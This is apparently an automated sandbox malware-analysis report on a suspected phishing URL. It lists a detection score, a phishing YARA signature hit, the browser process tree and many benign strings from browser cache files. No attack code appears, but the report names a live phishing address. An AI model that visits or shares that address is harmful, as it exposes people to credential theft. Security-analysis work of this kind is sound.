Edit tour

Windows Analysis Report
https://bryf.atchirlisc.ru/EeMAGvIe/

Overview

General Information

Sample URL:	https://bryf.atchirlisc.ru/EeMAGvIe/
Analysis ID:	1586748
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish44

AI detected suspicious Javascript

AI detected suspicious URL

Maps a DLL or memory area into another process

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2032,i,5592853975208518090,15640883060359809183,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://bryf.atchirlisc.ru/EeMAGvIe/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 1196 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:?url=http%3A%2F%2Fwww.bing.com%2Fchat%3Fform%3DWSBSH1%26cvid%3Db374da154d8a4e3bb912f43f50eaafd2%26nclid%3D4C9C2B2D0465FD7A42C74C7E93CFB630%26ts%3D1736433000464%26nclidts%3D1736433000%26tsms%3D464&timestamp=1736433000464&source=WindowsSearchBox&medium=CodexUpsell MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2604 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7364 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6276 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7396 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 7900 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 7936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 8036 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2092,i,12039556330216411981,17761890535772019975,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3104 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2424 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1680 --field-trial-handle=2068,i,391148098692564676,17790295371905818145,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_270	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTTP traffic detected: POST /report/v4?s=RCVyA2PmCfeA6ON61TEjBpw%2Fm12h53FjdAjxb4FjBGXqwn1FWtJRvY1aQKGCLi3Cy6IY8gvA3is%2Fk8cLz1KQGXWbMe0zkt6QAiJf%2Ftxe%2FQyWZveMmFngujKg7zpljg%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 433Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 14:29:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 6653Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCVyA2PmCfeA6ON61TEjBpw%2Fm12h53FjdAjxb4FjBGXqwn1FWtJRvY1aQKGCLi3Cy6IY8gvA3is%2Fk8cLz1KQGXWbMe0zkt6QAiJf%2Ftxe%2FQyWZveMmFngujKg7zpljg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=73699&min_rtt=73492&rtt_var=41&sent=545&recv=206&lost=0&retrans=0&sent_bytes=715236&recv_bytes=15884&delivery_rate=3850888&cwnd=4&unsent_bytes=0&cid=22be797f844a5494&ts=355703&x=0"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8ff51f08da638c0f-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1966&rtt_var=983&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4204&recv_bytes=1902&delivery_rate=212348&cwnd=223&unsent_bytes=0&cid=a292274667ecbea8&ts=2793&x=0"

Source: Reporting and NEL.11.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://bard.google.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: service_worker_bin_prod.js.11.dr, offscreendocument_main.js.11.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: Web Data.11.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.11.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Network Persistent State0.11.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: manifest.json.11.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.11.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: manifest.json0.11.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.11.dr	String found in binary or memory: https://drive.google.com/
Source: Web Data.11.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.11.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.11.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log8.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr, HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
